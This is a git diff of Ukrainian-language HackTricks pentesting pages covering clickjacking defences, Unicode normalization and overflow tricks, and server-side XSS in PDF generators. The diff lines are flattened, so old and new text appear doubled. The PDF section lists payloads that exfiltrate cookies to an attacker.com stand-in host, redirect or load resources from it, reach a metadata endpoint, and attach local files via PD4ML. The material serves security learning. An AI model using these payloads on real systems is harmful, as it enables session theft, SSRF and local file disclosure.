Приклад можна побачити в цьому відео: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) Приклад можна побачити в цьому відео: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Приклад коду можна знайти на [цій сторінці](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
> [!WARNING] > [!WARNING]
> Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти проти clickjacking. Тому зловмисник повинен знайти **чутливі дії, які можна виконати лише з 1 натисканням, такі як запити OAuth на прийняття дозволів**. > Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти від clickjacking. Тому зловмисник повинен знайти **чутливі дії, які можна виконати лише одним натисканням, такі як запити OAuth на прийняття дозволів**.
## Стратегії для пом'якшення Clickjacking ## Стратегії для пом'якшення Clickjacking
@ -111,8 +113,8 @@ background: #F00;
- Забезпечення того, щоб вікно програми було основним або верхнім вікном. - Забезпечення того, щоб вікно програми було основним або верхнім вікном.
- Зробити всі фрейми видимими. - Зробити всі фрейми видимими.
- Запобігти натисканням на невидимі фрейми. - Запобігання натисканням на невидимі фрейми.
- Виявлення та попередження користувачів про потенційні спроби Clickjacking. - Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.
Однак ці скрипти для знищення фреймів можуть бути обійдені: Однак ці скрипти для знищення фреймів можуть бути обійдені:
@ -124,7 +126,7 @@ id="victim_website"
src="https://victim-website.com" src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe> sandbox="allow-forms allow-scripts"></iframe>
``` ```
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити належну функціональність цільового сайту, можуть знадобитися додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати. `allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
### Серверні захисти ### Серверні захисти
@ -137,13 +139,13 @@ sandbox="allow-forms allow-scripts"></iframe>
- `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може обрамляти сторінку. - `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може обрамляти сторінку.
- Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors. - Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.
#### Директива frame-ancestors політики безпеки контенту (CSP) #### Директива frame-ancestors політики безпеки вмісту (CSP)
**Директива `frame-ancestors` у CSP** є рекомендованим методом захисту від Clickjacking: **Директива `frame-ancestors` в CSP** є рекомендованим методом захисту від Clickjacking:
- `frame-ancestors 'none'` - Подібно до `X-Frame-Options: deny`. - `frame-ancestors 'none'` - Схоже на `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Подібно до `X-Frame-Options: sameorigin`. - `frame-ancestors 'self'` - Схоже на `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Подібно до `X-Frame-Options: allow-from`. - `frame-ancestors trusted.com` - Схоже на `X-Frame-Options: allow-from`.
Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену: Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену:
@ -151,9 +153,9 @@ sandbox="allow-forms allow-scripts"></iframe>
Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla про frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors). Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla про frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Політика безпеки контенту (CSP) з `child-src` та `frame-src` ### Політика безпеки вмісту (CSP) з `child-src` та `frame-src`
**Політика безпеки контенту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту. **Політика безпеки вмісту (CSP)** є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.
#### Директива `frame-src` #### Директива `frame-src`
@ -166,7 +168,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
#### `child-src` Директива #### `child-src` Директива
- Введена в CSP рівні 2 для встановлення дійсних джерел для веб-робітників та фреймів. - Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів.
- Використовується як резервний варіант для frame-src та worker-src. - Використовується як резервний варіант для frame-src та worker-src.
``` ```
Content-Security-Policy: child-src 'self' https://trusted-website.com; Content-Security-Policy: child-src 'self' https://trusted-website.com;
@ -175,8 +177,8 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
**Примітки щодо використання:** **Примітки щодо використання:**
- Відмова: child-src поступово скасовується на користь frame-src та worker-src. - Відмова: child-src поступово відходить на користь frame-src та worker-src.
- Поведінка за замовчуванням: Якщо frame-src відсутній, використовується child-src як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src. - Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
- Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації. - Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.
#### JavaScript скрипти для зламу фреймів #### JavaScript скрипти для зламу фреймів
@ -189,7 +191,7 @@ top.location = self.location
``` ```
#### Використання Anti-CSRF Токенів #### Використання Anti-CSRF Токенів
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, виконуються навмисно користувачем, а не через Clickjacked сторінку. - **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.
## Посилання ## Посилання

View File

@ -1,4 +1,4 @@
# Нормалізація Unicode # Unicode Normalization
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@ -6,21 +6,21 @@
## Розуміння Unicode та нормалізації ## Розуміння Unicode та нормалізації
Нормалізація Unicode це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів: Нормалізація Unicode - це процес, який забезпечує стандартизацію різних бінарних представлень символів до одного й того ж бінарного значення. Цей процес є критично важливим при роботі з рядками в програмуванні та обробці даних. Стандарт Unicode визначає два типи еквівалентності символів:
1. **Канонічна еквівалентність**: Символи вважаються канонічно еквівалентними, якщо вони мають однаковий вигляд і значення при друку або відображенні. 1. **Канонічна еквівалентність**: Символи вважаються канонічно еквівалентними, якщо вони мають однаковий вигляд і значення при друку або відображенні.
2. **Еквівалентність сумісності**: Слабша форма еквівалентності, де символи можуть представляти один і той же абстрактний символ, але можуть відображатися по-різному. 2. **Еквівалентність сумісності**: Слабша форма еквівалентності, де символи можуть представляти один і той же абстрактний символ, але можуть відображатися по-різному.
Існує **чотири алгоритми нормалізації Unicode**: NFC, NFD, NFKC та NFKD. Кожен алгоритм використовує техніки канонічної та сумісної нормалізації по-різному. Для більш глибокого розуміння ви можете дослідити ці техніки на [Unicode.org](https://unicode.org/). Існує **чотири алгоритми нормалізації Unicode**: NFC, NFD, NFKC та NFKD. Кожен алгоритм використовує техніки канонічної та сумісної нормалізації по-різному. Для більш глибокого розуміння ви можете дослідити ці техніки на [Unicode.org](https://unicode.org/).
### Ключові моменти щодо кодування Unicode ### Основні моменти щодо кодування Unicode
Розуміння кодування Unicode є важливим, особливо при вирішенні проблем сумісності між різними системами або мовами. Ось основні моменти: Розуміння кодування Unicode є важливим, особливо при вирішенні проблем сумісності між різними системами або мовами. Ось основні моменти:
- **Кодові точки та символи**: У Unicode кожному символу або знаку присвоюється числове значення, відоме як "кодова точка". - **Кодові точки та символи**: У Unicode кожному символу або знаку присвоюється числове значення, відоме як "кодова точка".
- **Представлення байтів**: Кодова точка (або символ) представлена одним або кількома байтами в пам'яті. Наприклад, символи LATIN-1 (поширені в англомовних країнах) представлені за допомогою одного байта. Однак мови з більшим набором символів потребують більше байтів для представлення. - **Представлення байтів**: Кодова точка (або символ) представлена одним або кількома байтами в пам'яті. Наприклад, символи LATIN-1 (поширені в англомовних країнах) представлені за допомогою одного байта. Однак мови з більшим набором символів потребують більше байтів для представлення.
- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи до чотирьох байтів. - **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи - до чотирьох байтів.
- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік на символи. - **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік у символи.
- **Варіанти UTF**: Окрім UTF-8, існують інші стандарти кодування, такі як UTF-16 (використовуючи мінімум 2 байти, до 4) та UTF-32 (використовуючи 4 байти для всіх символів). - **Варіанти UTF**: Окрім UTF-8, існують інші стандарти кодування, такі як UTF-16 (використовуючи мінімум 2 байти, до 4) та UTF-32 (використовуючи 4 байти для всіх символів).
Важливо зрозуміти ці концепції, щоб ефективно обробляти та пом'якшувати потенційні проблеми, що виникають через складність Unicode та його різні методи кодування. Важливо зрозуміти ці концепції, щоб ефективно обробляти та пом'якшувати потенційні проблеми, що виникають через складність Unicode та його різні методи кодування.
@ -89,16 +89,26 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Фаззинг регулярних виразів ### Fuzzing Regexes
Коли бекенд **перевіряє введення користувача за допомогою регулярного виразу**, можливо, що **введення** **нормалізується** для **регулярного виразу**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF регулярний вираз може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**. Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий UR**L, але потім **доступатися до нього як є**.
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фаззингу бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/). Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для fuzzing бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow
З цього [блогу](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), максимальне значення байта становить 255, якщо сервер вразливий, переповнення може бути створене для виробництва конкретного та несподіваного ASCII символу. Наприклад, наступні символи будуть перетворені на `A`:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## Посилання ## Посилання
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,24 @@
## Server Side XSS (Dynamic PDF) ## Server Side XSS (Dynamic PDF)
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\ Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде їх **інтерпретувати**, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**. Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням `<img` ).\ Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням `<img` ).\
Також зверніть увагу, що в звичайній експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий). Також зауважте, що під час звичайної експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
### Популярні генератори PDF ### Популярна генерація PDF
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна командна утиліта, що робить його доступним для широкого спектра застосувань. - **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
- **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів. - **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
- Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами. - Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів. - Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона розроблена для розробників, які шукають простий підхід до генерації PDF, без необхідності в розширених функціях. - **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.
## Payloads ## Payloads
### Discovery ### Discovery
```html ```html
<!-- Basic discovery, Write somthing--> <!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" /> <img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script> <script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script> <script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,10 +32,26 @@
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie"> <img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script> <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com"> <link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
``` ```
### SVG ### SVG
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і ще один, що отримує доступ до кінцевої точки метаданих, наведені як приклади. Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і інший, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
```html ```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500"> <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g> <g>
@ -152,7 +168,7 @@ checkPort(i);
### Attachments: PD4ML ### Attachments: PD4ML
Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\ Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі клацнув на символі скріпки**, щоб **зберегти вкладення** як новий файл.\ Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі натиснув на символ скріпки**, щоб **зберегти вкладення** як новий файл.\
Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF. Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
```html ```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html --> <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/) - [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html) - [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c) - [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}